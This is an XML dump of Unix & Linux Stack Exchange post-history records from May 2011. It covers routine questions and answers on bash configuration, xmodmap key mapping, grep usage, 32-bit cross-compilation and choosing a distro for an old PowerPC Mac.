  <row Id="31416" PostHistoryTypeId="2" PostId="12792" RevisionGUID="1417a369-76a4-4eed-9a6e-72a03e51e42c" CreationDate="2011-05-07T10:42:50.183" UserId="1925" Text="No. User account passwords on Unix systems are saved with one-way encryption and cannot be retrieved. They can only be reset. You will need to login as root or some other privileged account and reset the password for your user." />
  <row Id="31417" PostHistoryTypeId="4" PostId="12644" RevisionGUID="d302e1a7-2c6c-47b1-ba45-4bb7e58c4fd0" CreationDate="2011-05-07T11:05:24.167" UserId="1835" Comment="remove 'ubuntu' from title, since this isn't an ubuntu-specific question." Text="compiz scale plugin arrow movement breaks sometimes" />
  <row Id="31418" PostHistoryTypeId="24" PostId="12644" RevisionGUID="d302e1a7-2c6c-47b1-ba45-4bb7e58c4fd0" CreationDate="2011-05-07T11:05:24.167" Comment="Proposed by 1835 approved by 885 edit id of 359" />
  <row Id="31420" PostHistoryTypeId="6" PostId="12791" RevisionGUID="4189fab8-a481-4405-a37d-e9f86f19af6c" CreationDate="2011-05-07T12:01:27.353" UserId="885" Comment="edited tags" Text="épasswordà" />
  <row Id="31421" PostHistoryTypeId="25" PostId="12791" RevisionGUID="e9932ddc-f888-4645-aaf2-95127c837425" CreationDate="2011-05-07T12:11:30.140" Comment="http://twitter.com/#!/StackUnix/status/66837557891186689" />
  <row Id="31422" PostHistoryTypeId="6" PostId="12784" RevisionGUID="54afe788-6f1a-4ed6-8f21-7af1a496cab5" CreationDate="2011-05-07T12:24:19.417" UserId="885" Comment="edited tags" Text="éterminalàéterminalöemulatoràéwindowötitleà" />
  <row Id="31423" PostHistoryTypeId="6" PostId="9007" RevisionGUID="72cca80f-7c84-4f82-885f-9a7ee25b9e5c" CreationDate="2011-05-07T12:24:58.027" UserId="885" Comment="edited tags" Text="ébashàépromptàéxtermàéwindowötitleà" />
  <row Id="31425" PostHistoryTypeId="6" PostId="12785" RevisionGUID="cb7dfb38-5889-4e39-a046-9a2954f07c8e" CreationDate="2011-05-07T12:34:13.890" UserId="885" Comment="edited tags" Text="ézshàécommandöhistoryà" />
  <row Id="31426" PostHistoryTypeId="6" PostId="12311" RevisionGUID="b6cbd7dc-ab06-40d5-a545-88c9646da558" CreationDate="2011-05-07T12:40:28.363" UserId="885" Comment="edited tags" Text="ébashàéshellàézshàécommandöhistoryàéwildcardsà" />
  <row Id="31427" PostHistoryTypeId="5" PostId="12782" RevisionGUID="0f70200e-095e-4a4b-8a0e-9cf9284bfb3d" CreationDate="2011-05-07T12:51:41.383" UserId="1925" Comment="deleted 25 characters in body; edited tags" Text="Today I came across a file called `~user/.nautilus/saved-session-XXXXXX`. In it one could see some sort of logging user's activity via Nautilus. Also in `~user/.gconf/apps/gedit-2` one could find interesting things. &#xD;&#xA;&#xD;&#xA;Is there a file where Nautilus tracks user's activity?  Is there a file which states files accessed, moved, copied, deleted, etc. via Nautilus?" />
  <row Id="31428" PostHistoryTypeId="6" PostId="12782" RevisionGUID="0f70200e-095e-4a4b-8a0e-9cf9284bfb3d" CreationDate="2011-05-07T12:51:41.383" UserId="1925" Comment="deleted 25 characters in body; edited tags" Text="élinuxàégnomeàénautilusà" />
  <row Id="31429" PostHistoryTypeId="6" PostId="12781" RevisionGUID="7ab018a9-e5c1-4995-ae84-ddb4614abaca" CreationDate="2011-05-07T13:09:56.570" UserId="885" Comment="edited tags" Text="éfedoraàémailàéprocmailà" />
  <row Id="31430" PostHistoryTypeId="2" PostId="12793" RevisionGUID="94a32f4d-7f99-4a8e-bed4-f6b7a4a0dfa6" CreationDate="2011-05-07T13:20:55.210" UserId="885" Text="I'm pretty sure the problem is that your `.bashrc` is echoing stuff. Never print anything from `.bashrc` when it's not running on a terminal, as this will break programs that use ssh for automated actions (rsync, git, …).&#xD;&#xA;&#xD;&#xA;In fact, you shouldn't do anything from `.bashrc` if it's not running on a terminal. Put this at the beginning of the file:&#xD;&#xA;&#xD;&#xA;    if ! [ -t 1 ]; then return; fi&#xD;&#xA;&#xD;&#xA;The `.bashrc` file is intended for interactive shells. There's a quirk in bash that makes it load this file for all rsh and ssh logins, regardless of whether they're interactive. This is occasionally useful because it lets you set environment variables for a non-interactive ssh session, but that's completely different thing from interactive setup (prompt, key bindings, aliases and so on). In full generality, `.bashrc` can be two unrelated sections:&#xD;&#xA;&#xD;&#xA;    if [ -t 1 ]; then&#xD;&#xA;      # Stuff for interactive bash shells (defined here as shells running in a terminal).&#xD;&#xA;      # Prompt, key bindings, aliases, terminal settings, …&#xD;&#xA;      # It's ok to print things to the terminal here (e.g. to set the terminal title).&#xD;&#xA;    else&#xD;&#xA;      # Environment variables for ssh sessions.&#xD;&#xA;      # Do not print anything here.&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Side note: for an interactive ssh login, if bash is your login shell, it reads `.bash_profile` but not `.bashrc`. You'll want to source `.bashrc` in your `.bash_profile` (if the shell is interactive).&#xD;&#xA;" />
  <row Id="31431" PostHistoryTypeId="5" PostId="12373" RevisionGUID="4cf63cf4-f7b6-44d3-b338-a9ca448405a8" CreationDate="2011-05-07T13:41:26.213" UserId="885" Comment="cite X_SetModifierMapping bug" Text="This answer explains how to set this up with xmodmap. Put the configuration snippets below in `~/.Xmodmap`, and run `xmodmap &lt;~/.Xmodmap` to apply them. Depending on your distribution and your setup, `~/.Xmodmap` may be loaded automatically when you log in, or you may need to call `xmodmap` explicitly from `~/.xinitrc` or `~/.xsession`, or you may need to configure your desktop environment to apply `~/.Xmodmap`.&#xD;&#xA;&#xD;&#xA;X has a keysym (i.e. an abstract key name) called `Mode_switch`. On most keyboard mappings for latin-script languages other than US, this keysym is bound to the key labeled &lt;kbd&gt;AltGr&lt;/kbd&gt;, which replaces the right &lt;kbd&gt;Alt&lt;/kbd&gt; key. You can choose to map `Mode_switch` to a different key such as &lt;kbd&gt;Caps Lock&lt;/kbd&gt;. On a PC keyboard, the keycode (what the hardware sends) for &lt;kbd&gt;Caps Lock&lt;/kbd&gt; is 66, so change its binding to `Mode_switch`, and remove the caps lock modifier from it:&#xD;&#xA;&#xD;&#xA;    keycode 66 = Mode_switch&#xD;&#xA;    clear Lock&#xD;&#xA;&#xD;&#xA;You also need to associate a modifier with `Mode_switch`. There are 5 custom modifiers, `Mod1` through `Mod5`; any will do, but there has to be one. Run `xmodmap -pm` to see what modifiers are in use, and pick one of the 5 that isn't, then add a line like this to your `.Xmodmap`:&#xD;&#xA;&#xD;&#xA;    add Mod3 = Mode_switch&#xD;&#xA;&#xD;&#xA;In an xmodmap key specification, the character sent by the key with `Mode_switch` is in the third column after the `=` sign, and with `Mode_switch`+`Shift` in the fourth column. (The first two columns are for the key with no modifiers and with `Shift`.) You can use a `keysym` directive to rebind the key that now sends `n` regardless of its keycode:&#xD;&#xA;&#xD;&#xA;    keysym n = n N ntilde Ntilde&#xD;&#xA;&#xD;&#xA;The names on the right are in fact keysym names. You can find a list of these in&#xD;&#xA;`/usr/include/X11/keysymdef.h`, e.g. the line `#define XK_Ntilde 0x00d1` means there's a keysym called `Ntilde` that corresponds to Unicode character U+00D1. There are characters that don't have a keysym name; you can use the unicode number instead.&#xD;&#xA;&#xD;&#xA;    ! U+2030 is PER MILLE SIGN, U+2031 is PER TEN THOUSAND SIGN&#xD;&#xA;    keysym 5 = 5 percent U2030 U2031&#xD;&#xA;&#xD;&#xA;Note that if you're shifting modifiers around on systems of ~2009–2011 vintage, you might run into an [`X_SetModifierMapping` bug](http://unix.stackexchange.com/questions/4485/reassign-ctl-and-alt-keys-xmodmap-error). Often, but not always, using `clear Lock` will work around the bug.&#xD;&#xA;" />
  <row Id="31432" PostHistoryTypeId="2" PostId="12794" RevisionGUID="c37e0e99-78a7-481e-b987-62ebc25bbf0a" CreationDate="2011-05-07T13:08:19.473" UserDisplayName="user16852" Text="hello&#xD;&#xA;&#xD;&#xA;I have on old mac desktop, &#xD;&#xA;Power PC G3 (300MHz)&#xD;&#xA;320 MB Ram&#xD;&#xA;&#xD;&#xA;I Want To use it for browsing the internet, playing videos&#xD;&#xA;&#xD;&#xA;what distro should I use  for it?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="31433" PostHistoryTypeId="1" PostId="12794" RevisionGUID="c37e0e99-78a7-481e-b987-62ebc25bbf0a" CreationDate="2011-05-07T13:08:19.473" UserDisplayName="user16852" Text="perfect distro for an old mac desktop (ppc g3) (320mb ram)" />
  <row Id="31434" PostHistoryTypeId="3" PostId="12794" RevisionGUID="c37e0e99-78a7-481e-b987-62ebc25bbf0a" CreationDate="2011-05-07T13:08:19.473" UserDisplayName="user16852" Text="éuntaggedà" />
  <row Id="31435" PostHistoryTypeId="17" PostId="12794" RevisionGUID="3a555162-2f92-4bee-bf7f-4d11ec340d18" CreationDate="2011-05-07T14:04:47.857" UserId="-1" Comment="from http://askubuntu.com/questions/40981/perfect-distro-for-an-old-mac-desktop-ppc-g3-320mb-ram" Text="" />
  <row Id="31436" PostHistoryTypeId="2" PostId="12795" RevisionGUID="682c1072-5fc7-4069-a2da-ea95f43636b5" CreationDate="2011-05-07T14:11:30.753" UserId="3879" Text="When you are creating your *own* log files, I think you should create your own API too." />
  <row Id="31437" PostHistoryTypeId="5" PostId="12096" RevisionGUID="5fbadc6c-4709-4cc8-a3ba-0653ed8b32ab" CreationDate="2011-05-07T14:16:56.460" UserId="3879" Comment="keyword highlighting, sentence structure, removed 'Thanks'" Text="I am trying to develop a system statistics tool for Ubuntu that will store data about resource utilization of processes/users. I am storing these data in my own log files like `/var/log/&lt;process&gt;.log`. I want to know if there is any API (like `procfs` for collecting data about processes) for parsing my own log files using  C programming language. These log files will contain simply username, process id, CPU%, MEM%, I/O etc. " />
  <row Id="31438" PostHistoryTypeId="24" PostId="12096" RevisionGUID="5fbadc6c-4709-4cc8-a3ba-0653ed8b32ab" CreationDate="2011-05-07T14:16:56.460" Comment="Proposed by 3879 approved by 885 edit id of 360" />
  <row Id="31439" PostHistoryTypeId="5" PostId="12794" RevisionGUID="c94b321a-08e4-4ab1-a32e-f52365d6325a" CreationDate="2011-05-07T14:17:39.363" UserId="1925" Comment="deleted 19 characters in body" Text="I have on old mac desktop:&#xD;&#xA;&#xD;&#xA; * Power PC G3 (300MHz)&#xD;&#xA; * 320 MB Ram&#xD;&#xA;&#xD;&#xA;I want to use it for browsing the internet and playing videos. What distro should I use?" />
  <row Id="31440" PostHistoryTypeId="6" PostId="12794" RevisionGUID="2758f5e6-a0bb-4a6c-821d-fbd64a6d0ef1" CreationDate="2011-05-07T14:19:10.827" UserId="885" Comment="edited tags" Text="édistributionöchoiceàémacintoshàépowerpcà" />
  <row Id="31441" PostHistoryTypeId="5" PostId="12572" RevisionGUID="c925ce8a-ca2d-41cc-9804-35e9a512a282" CreationDate="2011-05-07T14:27:26.487" UserId="885" Comment="avoid a newline after the URL" Text="Set the “External Browser” option to&#xD;&#xA;&#xD;&#xA;    sh -c 'printf %s &quot;$0&quot; | xsel'&#xD;&#xA;&#xD;&#xA;You can use `xsel -b` to use the clipboard instead of the primary selection. An alternative to [xsel](http://www.vergenet.net/~conrad/software/xsel/) is [xclip](http://xclip.sourceforge.net) (`xclip` for the primary selection, `xclip -selection CLIPBOARD` for the clipboard).&#xD;&#xA;&#xD;&#xA;In `~/.w3m/config`, that's the `extbrowser` setting.&#xD;&#xA;&#xD;&#xA;Then [press `M`](http://w3m.sourceforge.net/MANUAL#Key:orig) to copy (yank) the URL of the current page, or `ESC M` to copy the URL of the link under the cursor.&#xD;&#xA;&#xD;&#xA;You can use the second or third external browser for that instead; then the key combination is `2 M` or `3 M` or `2 ESC M` or `3 ESC M`.&#xD;&#xA;" />
  <row Id="31442" PostHistoryTypeId="25" PostId="12787" RevisionGUID="474c933b-fdf6-440c-ade4-cd58f034cc96" CreationDate="2011-05-07T15:11:31.307" Comment="http://twitter.com/#!/StackUnix/status/66882860866482176" />
  <row Id="31443" PostHistoryTypeId="5" PostId="12691" RevisionGUID="6446942f-eb02-45c3-851a-bb2cd28e0bb2" CreationDate="2011-05-07T15:31:06.830" UserId="885" Comment="fixed yum provides call" Text="`yum provides '*/fopen.3*'` will tell you what package is available that contains a file called `fopen.3*` (i.e. the `fopen` man page). *(thanks [maxschlepzig](http://unix.stackexchange.com/users/1131/maxschlepzig))*&#xD;&#xA;" />
  <row Id="31444" PostHistoryTypeId="2" PostId="12796" RevisionGUID="ac2a3e82-01c0-43cf-a1cd-f9cb08fbcd21" CreationDate="2011-05-07T15:48:16.823" UserId="1925" Text="You might check out [Crux][1], it seems to be the most promising entry in lightweight distros that support ppc catagory.&#xD;&#xA;&#xD;&#xA;I also ran across [Slackintosh][2], although their promotional material isn't very exciting. You can find lots more [distros that support ppc][3] here. Several distros listed (including Ubuntu and my personal favorite: PLD-Linux) have actually dropped PPC support over the last couple years, so that that list with a huge grain of salt.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cruxppc.org/&#xD;&#xA;  [2]: http://workaround.ch/&#xD;&#xA;  [3]: http://distrowatch.com/dwres.php?resource=ppc" />
  <row Id="31445" PostHistoryTypeId="17" PostId="12798" RevisionGUID="a32ba12a-ed35-416e-94a2-3525f28cde25" CreationDate="2011-05-07T15:55:18.940" UserId="-1" Comment="from http://stackoverflow.com/questions/5545446/hiding-a-zsh-completion/5545495#5545495" Text="" />
  <row Id="31446" PostHistoryTypeId="17" PostId="12799" RevisionGUID="613e9ee5-c02a-48f5-af34-9504dcb0386c" CreationDate="2011-05-07T15:55:18.940" UserId="-1" Comment="from http://stackoverflow.com/questions/5545446/hiding-a-zsh-completion/5548108#5548108" Text="" />
  <row Id="31447" PostHistoryTypeId="2" PostId="12798" RevisionGUID="aaeb7fd1-50a5-4bf7-803c-8b9f0a39adb4" CreationDate="2011-04-04T23:29:42.123" UserDisplayName="wjlafrance" Text="Does this solve your issue?&#xD;&#xA;&#xD;&#xA;    alias push='pushd'" />
  <row Id="31448" PostHistoryTypeId="2" PostId="12799" RevisionGUID="bd1f2fe1-bd0d-4d1d-b5db-dec82f018b9a" CreationDate="2011-04-05T06:36:19.367" UserId="5539" Text="I don't know how to control the completion so precisely, but there is a builtin function called `disable`, which disables a command itself.&#xD;&#xA;&#xD;&#xA;If you add `disable pushln` to your `.zshrc`, the `pushln` builtin will be disabled and no longer be displayed as a candidate." />
  <row Id="31449" PostHistoryTypeId="2" PostId="12797" RevisionGUID="dbd15725-5883-46a2-9e9f-6eeedb8e6f41" CreationDate="2011-04-04T23:21:02.407" UserDisplayName="Chris Hanson" Text="I just switched to `zsh` (from `tcsh`) and have only run into one serious frustration:  There are multiple completions for `push` — `pushd` and `pushln`.  I’d really like to only have `pushd` available, since this is really tripping up my muscle memory.&#xD;&#xA;&#xD;&#xA;How can I set this up using `zsh` completion (specifically `compsys`)?" />
  <row Id="31450" PostHistoryTypeId="1" PostId="12797" RevisionGUID="dbd15725-5883-46a2-9e9f-6eeedb8e6f41" CreationDate="2011-04-04T23:21:02.407" UserDisplayName="Chris Hanson" Text="Hiding a zsh completion" />
  <row Id="31451" PostHistoryTypeId="3" PostId="12797" RevisionGUID="dbd15725-5883-46a2-9e9f-6eeedb8e6f41" CreationDate="2011-04-04T23:21:02.407" UserDisplayName="Chris Hanson" Text="éautocompleteàézshà" />
  <row Id="31452" PostHistoryTypeId="17" PostId="12797" RevisionGUID="405f70a7-8f14-4b4c-ac65-2b7b9871f148" CreationDate="2011-05-07T15:55:18.940" UserId="-1" Comment="from http://stackoverflow.com/questions/5545446/hiding-a-zsh-completion" Text="" />
  <row Id="31453" PostHistoryTypeId="5" PostId="12788" RevisionGUID="d8db19c8-3bff-433b-91dd-dc8f5ebe4f94" CreationDate="2011-05-07T16:05:41.330" UserId="1131" Comment="spelling" Text="Man pages for the standard C library are included in the `man-pages` package. For the C++ STL library the man-pages and HTML documentation are included in the `libstdc++-docs` packages. Thus,&#xD;&#xA;&#xD;&#xA;    yum install man-pages libstdc++-docs&#xD;&#xA;&#xD;&#xA;should install them. You can test if they are available via:&#xD;&#xA;&#xD;&#xA;    man std::iostream&#xD;&#xA;    man fopen&#xD;&#xA;&#xD;&#xA;Kind of off-topic: IMHO the libstdc++ documentation (especially the man pages) is not that convenient to browse - I usually use a google search like 'c++ reference iostream' and usually the first hit points to http://www.cplusplus.com/reference/ which is convenient to navigate (at least with AdBlock Plus).&#xD;&#xA;" />
  <row Id="31454" PostHistoryTypeId="2" PostId="12800" RevisionGUID="21661afe-f3af-4b4f-ab8d-479463ee3441" CreationDate="2011-05-07T16:07:09.923" UserId="7298" Text="Everything is working with my serial port. I have connected my FTDI converter into my computer, set my COM port...   &#xD;&#xA;`ln -s /dev/ttyUSB0 ~/wine/dosdevices/COM1`&#xD;&#xA;&#xD;&#xA;But now I would like to &quot;clone&quot; this port.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am using wine to run u-center a GPS visualizer and I have a Linux computer running Ubuntu   &#xD;&#xA;Could anyone help?" />
  <row Id="31455" PostHistoryTypeId="1" PostId="12800" RevisionGUID="21661afe-f3af-4b4f-ab8d-479463ee3441" CreationDate="2011-05-07T16:07:09.923" UserId="7298" Text="Cloning/Splitting a serial port (COM) port in Ubuntu" />
  <row Id="31456" PostHistoryTypeId="3" PostId="12800" RevisionGUID="21661afe-f3af-4b4f-ab8d-479463ee3441" CreationDate="2011-05-07T16:07:09.923" UserId="7298" Text="éubuntuàéserialöportàésplitàécloningà" />
  <row Id="31457" PostHistoryTypeId="5" PostId="8823" RevisionGUID="4454f1d1-82e6-4dbf-985f-877c8f7faec8" CreationDate="2011-05-07T18:01:45.313" UserId="1925" Comment="added 15 characters in body" Text="Is there a good GUI-application (for example an mplayer GUI or something like banshee) for linux which allows to make and edit playlists (for video files) with different starting and stopping times for each video on the list?&#xD;&#xA;&#xD;&#xA;**Added**:&#xD;&#xA;&#xD;&#xA;At the moment I make manually files which contain something like that:&#xD;&#xA;&#xD;&#xA;    video.avi -ss 2440 -endpos 210&#xD;&#xA;    #some comment&#xD;&#xA;&#xD;&#xA;    video2.mp4 -ss 112 -endpos 2112&#xD;&#xA;&#xD;&#xA;Then I have a wrapper script for: `mplayer -fs $(grep -v &quot;^ #&quot; $1)`&#xD;&#xA;&#xD;&#xA;Furthermore I have written some emacs functions which simplify the editing of such files a little bit. (Like converting starting and end time from hh:mm:ss format to seconds and endtime to relative position (endtime - starttime) as required by -endpos (I can post the macros if someone is interested). However, that's still too uncomfortable. So my question is if there is a nice GUI for doing this (for example which allows you to mark in a video timeline the start and end times for the playlist and so on).&#xD;&#xA;" />
  <row Id="31458" PostHistoryTypeId="5" PostId="12323" RevisionGUID="d93b37d6-179e-4deb-92de-4bc569ef509d" CreationDate="2011-05-07T18:06:09.693" UserId="1925" Comment="deleted 10 characters in body" Text="How can I increase the memory on the fly with the hardware management console on AIX 5 &amp; 6?" />
  <row Id="31459" PostHistoryTypeId="25" PostId="12794" RevisionGUID="d3304aee-2b62-40b7-a2ae-48d14d8e9f87" CreationDate="2011-05-07T18:11:32.140" Comment="http://twitter.com/#!/StackUnix/status/66928162478620672" />
  <row Id="31460" PostHistoryTypeId="2" PostId="12801" RevisionGUID="58478e95-1c96-4066-b00a-396048524dd3" CreationDate="2011-05-07T18:44:55.873" UserId="7302" Text="Hi guys!&#xD;&#xA;&#xD;&#xA;I'm trying to build the PHP memcache extension (v2.2.6) for i386 (32bit) on my x86_64 Ubuntu 11.04.&#xD;&#xA;&#xD;&#xA;`./configure`, uses config.guess by default (which outputs `x86_64-unknown-linux-gnu` on my system) but I want to override that.&#xD;&#xA;&#xD;&#xA;How would I have to proceed?&#xD;&#xA;&#xD;&#xA;Best regards and thanks in advance! =)" />
  <row Id="31461" PostHistoryTypeId="1" PostId="12801" RevisionGUID="58478e95-1c96-4066-b00a-396048524dd3" CreationDate="2011-05-07T18:44:55.873" UserId="7302" Text="Building 32-Bit on a 64-Bit system" />
  <row Id="31462" PostHistoryTypeId="3" PostId="12801" RevisionGUID="58478e95-1c96-4066-b00a-396048524dd3" CreationDate="2011-05-07T18:44:55.873" UserId="7302" Text="é64bitàécrossöcompilationàé32bitàéconfigureà" />
  <row Id="31463" PostHistoryTypeId="5" PostId="12801" RevisionGUID="603b5f6c-e150-4193-a993-e6bced335225" CreationDate="2011-05-07T18:53:38.783" UserId="1925" Comment="deleted 55 characters in body" Text="I'm trying to build the PHP memcache extension (v2.2.6) for i386 (32bit) on my x86_64 Ubuntu 11.04.&#xD;&#xA;&#xD;&#xA;`./configure` uses config.guess by default (which outputs `x86_64-unknown-linux-gnu` on my system) but I want to override that.&#xD;&#xA;&#xD;&#xA;How would I have to proceed?" />
  <row Id="31464" PostHistoryTypeId="2" PostId="12802" RevisionGUID="30dd04fc-ce8d-410a-94b4-f4e34a10e859" CreationDate="2011-05-07T19:04:08.997" UserId="3125" Text="Say I want to grab the last 5 &#xD;&#xA;mentions of cron in `/var/log/syslog.log` looking over the grep manual it seems like I can't get grep to search in reverse. I can however grab the most recent occurrences.&#xD;&#xA;&#xD;&#xA;    grep cron -m 5 /var/log/syslog&#xD;&#xA;&#xD;&#xA;Is there a reverse grep command I can use? :)" />
  <row Id="31465" PostHistoryTypeId="1" PostId="12802" RevisionGUID="30dd04fc-ce8d-410a-94b4-f4e34a10e859" CreationDate="2011-05-07T19:04:08.997" UserId="3125" Text="Reverse grep to get the last couple of occurrences in a file" />
  <row Id="31466" PostHistoryTypeId="3" PostId="12802" RevisionGUID="30dd04fc-ce8d-410a-94b4-f4e34a10e859" CreationDate="2011-05-07T19:04:08.997" UserId="3125" Text="égrepà" />
  <row Id="31467" PostHistoryTypeId="2" PostId="12803" RevisionGUID="c8465c31-9d8d-4294-9a29-199055f49fb7" CreationDate="2011-05-07T19:16:07.537" UserId="7303" Text="This method works is pretty slow on Gnome. I use [Gnome-do][1], which is fast as hell and really extensible. I don't remember the last time I navigated though menus to launch an app. Plus it comes with awesome plugins with which you can do stuff like mount volumes, play music, search files and a lot of cool stuff.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://do.davebsd.com/" />
  <row Id="31468" PostHistoryTypeId="2" PostId="12804" RevisionGUID="4119ce12-d545-4ad1-9be9-7f3d9f41af13" CreationDate="2011-05-07T19:16:48.050" UserId="7226" Text="What about piping to `tac`?&#xD;&#xA;&#xD;&#xA;http://linux.about.com/library/cmd/blcmdl1_tac.htm&#xD;&#xA;&#xD;&#xA;    grep cron -m 5 /var/log/syslog | tac" />
  <row Id="31469" PostHistoryTypeId="2" PostId="12805" RevisionGUID="31c1c2bc-fd39-41c8-887c-8a27db6f7b8f" CreationDate="2011-05-07T19:19:42.123" UserId="885" Text="You need two things to cross-compile: a compiler that can generate code for the target architecture, and the static libraries (`*.a`) for the target architecture. Install at least the [`libc6-dev-i386`](http://packages.ubuntu.com/libc6-dev-i386) [![Install libc6-dev-i386](http://bit.ly/software-small)](http://apt.ubuntu.com/p/libc6-dev-i386) packages, and possibly other [`lib32.*-dev` packages](http://packages.ubuntu.com/search?suite=natty&amp;searchon=names&amp;keywords=lib32). The `libc6-dev-i386` also pulls in the components of gcc needed for cross-compilation in the [`gcc-multilib` package](http://packages.ubuntu.com/gcc-multilib) [![Install gcc-multilib](http://bit.ly/software-small)](http://apt.ubuntu.com/p/gcc-multilib). Then tell gcc to compile for i386 by passing it the `-m32` flag through the `CFLAGS` variable.&#xD;&#xA;&#xD;&#xA;    sudo apt-get install libc6-dev-i386 lib32ncurses5-dev … # whatever 32-bit libraries you need&#xD;&#xA;    export CFLAGS='-m32'&#xD;&#xA;    ./configure …&#xD;&#xA;&#xD;&#xA;If you don't find all the libraries you need, it'll probably be easier to install a 32-bit Ubuntu in a [chroot](http://en.wikipedia.org/wiki/Chroot). Ubuntu ships [dchroot](http://packages.ubuntu.com/dchroot) [![Install dchroot](http://bit.ly/software-small)](http://apt.ubuntu.com/p/dchroot) from the [Debian buildd project](http://alioth.debian.org/projects/buildd-tools/), which makes running a chrooted system easy. Use [debootstrap](http://packages.ubuntu.com/debootstrap) [![Install debootstrap](http://bit.ly/software-small)](http://apt.ubuntu.com/p/debootstrap) to perform the installation. There's a reasonable-looking [dchroot tutorial on the Ubuntu forums](http://ubuntuforums.org/showthread.php?t=24575).&#xD;&#xA;" />
  <row Id="31470" PostHistoryTypeId="2" PostId="12806" RevisionGUID="e309cc75-026e-4a3a-9faf-f30cc9286b92" CreationDate="2011-05-07T19:22:56.443" UserId="885" Text="Following the usual unix philosophy of combining tools: use `grep` to search, and `tail` to return the last part of the file.&#xD;&#xA;&#xD;&#xA;    grep cron /var/log/syslog | tail -n 5&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31471" PostHistoryTypeId="5" PostId="12804" RevisionGUID="96c1ab1b-97f7-497e-9739-1c05ba305302" CreationDate="2011-05-07T19:23:34.570" UserId="885" Comment="grab the last matches in reverse order, not the first matches in reverse order" Text="What about piping to `tac`?&#xD;&#xA;&#xD;&#xA;http://linux.about.com/library/cmd/blcmdl1_tac.htm&#xD;&#xA;&#xD;&#xA;    tac | grep cron -m 5 /var/log/syslog" />
  <row Id="31472" PostHistoryTypeId="5" PostId="12804" RevisionGUID="5a708591-dc79-4916-87d3-07c82f7c98c7" CreationDate="2011-05-07T19:34:37.340" UserId="7226" Comment="added 1 characters in body" Text="What about piping to `tac`?&#xD;&#xA;&#xD;&#xA;http://linux.about.com/library/cmd/blcmdl1_tac.htm&#xD;&#xA;&#xD;&#xA;    tac  /var/log/syslog | grep cron -m 5" />
  <row Id="31473" PostHistoryTypeId="2" PostId="12807" RevisionGUID="40feb132-e11e-45a7-866c-9610c66d1f61" CreationDate="2011-05-07T19:34:56.360" UserId="4954" Text="I have set up an alias in my .bashrc as follows:&#xD;&#xA;&#xD;&#xA;`alias u='cd ..'`&#xD;&#xA;&#xD;&#xA;All is well in my world... until I type `cd ..` and cringe that I did not use my incredible new alias. In fact, with this particular thing, it's very ingrained. Hard to change my behavior - I need serious intervention.&#xD;&#xA;&#xD;&#xA;So, I naturally tried to set up another alias to keep me from using `cd ..`:&#xD;&#xA;&#xD;&#xA;`alias 'cd ..'='echo &quot;Use your alias!&quot;'`&#xD;&#xA;&#xD;&#xA;But that apparently doesn't work. My thought is that this also might somehow conflict with the `u` alias, in some sort of infinite loop of aliasing.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="31474" PostHistoryTypeId="1" PostId="12807" RevisionGUID="40feb132-e11e-45a7-866c-9610c66d1f61" CreationDate="2011-05-07T19:34:56.360" UserId="4954" Text="Use alias to reinforce other alias?" />
  <row Id="31475" PostHistoryTypeId="3" PostId="12807" RevisionGUID="40feb132-e11e-45a7-866c-9610c66d1f61" CreationDate="2011-05-07T19:34:56.360" UserId="4954" Text="ébashàéaliasà" />
  <row Id="31477" PostHistoryTypeId="2" PostId="12809" RevisionGUID="b9e3fbbf-a632-4797-a059-8bcd7e2311a5" CreationDate="2011-05-07T19:42:47.963" UserId="4658" Text="Hi All,&#xD;&#xA;&#xD;&#xA;My question is;When user create goes in the Linux Operating System ,The username can be seen publicly in passwd file.&#xD;&#xA;is there a hash set  for that?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="31478" PostHistoryTypeId="1" PostId="12809" RevisionGUID="b9e3fbbf-a632-4797-a059-8bcd7e2311a5" CreationDate="2011-05-07T19:42:47.963" UserId="4658" Text="Linux user security" />
  <row Id="31479" PostHistoryTypeId="3" PostId="12809" RevisionGUID="b9e3fbbf-a632-4797-a059-8bcd7e2311a5" CreationDate="2011-05-07T19:42:47.963" UserId="4658" Text="élinuxàésecurityà" />
  <row Id="31480" PostHistoryTypeId="5" PostId="12809" RevisionGUID="c58b1aed-2b56-453a-83b3-0f509e1d5870" CreationDate="2011-05-07T19:53:00.717" UserId="73" Comment="deleted 62 characters in body" Text="When a user is created in Linux, their username can be seen publicly in the `passwd` file. Is there a hash set for that?&#xD;&#xA;" />
  <row Id="31481" PostHistoryTypeId="2" PostId="12810" RevisionGUID="fed23d64-6f02-499d-aaab-b45209194ef2" CreationDate="2011-05-07T19:53:08.487" UserId="885" Text="Anything more complicated that supplying a few extra arguments to a command is too much for an alias and requires a function instead. Use `builtin cd` to call the original.&#xD;&#xA;&#xD;&#xA;    cd () {&#xD;&#xA;      if [ &quot;$*&quot; = &quot;..&quot; ]; then&#xD;&#xA;        echo 1&gt;&amp;2 'Use your alias instead!'&#xD;&#xA;        return 2&#xD;&#xA;      else&#xD;&#xA;        builtin cd &quot;$@&quot;&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you're running bash ≥4.0, I question the utility of this particular alias. Put `shopt -s autocd` in your `~/.bashrc`, and just type `..` or any other directory name to switch to it.&#xD;&#xA;" />
  <row Id="31482" PostHistoryTypeId="4" PostId="12807" RevisionGUID="fbccf827-d052-45da-8029-77c1e6c8a558" CreationDate="2011-05-07T19:53:29.940" UserId="4954" Comment="Clarified question." Text="Preventing use of `cd ..` in bash?" />
  <row Id="31485" PostHistoryTypeId="2" PostId="12812" RevisionGUID="efc5b267-e0a0-46ea-a7b3-38220aa27682" CreationDate="2011-05-07T20:19:30.873" UserId="5709" Text="Question more or less says it all. I'm aware that `/^$/d` will remove all blank lines, but I can't see how to say 'replace two or more blank lines with a single blank line'&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="31486" PostHistoryTypeId="1" PostId="12812" RevisionGUID="efc5b267-e0a0-46ea-a7b3-38220aa27682" CreationDate="2011-05-07T20:19:30.873" UserId="5709" Text="Replacing Multiple blank lines with a single blank line in vim / sed" />
